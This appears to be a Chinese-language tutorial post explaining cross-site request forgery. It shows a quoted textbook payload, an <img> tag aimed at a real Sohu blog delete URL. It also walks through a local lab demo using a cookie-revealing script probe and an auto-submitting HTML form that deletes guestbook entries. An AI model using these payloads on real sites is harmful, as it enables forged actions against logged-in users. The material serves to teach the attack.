CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。
一句话就是我们利用CSRF攻击就是借用用户的身份去执行用户的操作
先看一个例子(白帽子讲web安全),一个删除搜狐博客的例子,利用CSRF删除搜狐博客。
正常情况下,登陆搜狐博客后,只需请求这个url,就能把编号156713012的博客文章删除
我们尝试利用CSRF漏洞,删除编号为“156714243”的博客文章。这篇文章标题“test1”.
攻击者首先在自己的域构造一个页面:
其内容;
<img src="http://blog.sohu.com/manage/entry.do?m=delete&id=156714243" />
使用了一个<img>标签,其地址指向了删除博客文章的链接。
攻击者诱使目标用户,也就是博客主人“test1test”访问这个页面:
该用户会看到一张无法显示的图片,也就是<img>标签创造的图片,但无法显示,然后回头看搜狐博客:
发现原来存在的标题为‘’test1”的文章,已被删除。
这个删除博客攻击文章的请求,是攻击者伪造的,所以这种攻击就叫做“跨站点请求伪造”。
下面仿照以上做一个实例,这里利用自己的简单留言板实施一次CSRF攻击
前面我们已经讲过了,CSRF攻击是在用户登录状态下,利用用户身份执行操作,这里就用到了cookie,当用户正在访问留言板时,诱导用户去点开攻击者伪造的一个网页(有删除留言的指令),用户点开之后便带着原来的留言板cookie去执行删除留言这条指令,当用户返回之后发现原来留言信息没了。
这是登录界面,输入用户名进去后
看一下用户的cookie吧
<script>alert(document.cookie)</script>
当然这里是自己的cookie,已经能看到了。
可以看到是post请求以表单的形式提交到delete.php,执行删除操作找到表单提交的name="ids",也就是ids=1时,我们可以删除id=1的留言,因为是POST请求,不能用标签的src属性,所以需要构建一个POST请求。
攻击者在自己的服务器中建立一个HTML文件csrf.html,用JS自动提交POST请求的form表单
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://127.0.0.1/Myphp/liuyan/delete.php" id="test" name='test' method="POST">
<input type="hidden" name='ids' value="" />
</form>
<script type="text/javascript">
test.ids.value="3";
test.submit();
</script>
</body>
</html>
这个只是本地测试,现在删除第三条留言,这个时候只要诱导用户去访问http://127.0.0.1/Myphp/csrf.html就会删除该留言,至于用什么方法,需要攻击者去精心构造了,只要想象力丰富,就能发挥CSRF强大的破坏力。
当用户在登录留言板状态下去访问该网页,,,,
原来的留言没了
这就是基本的CSRF攻击。。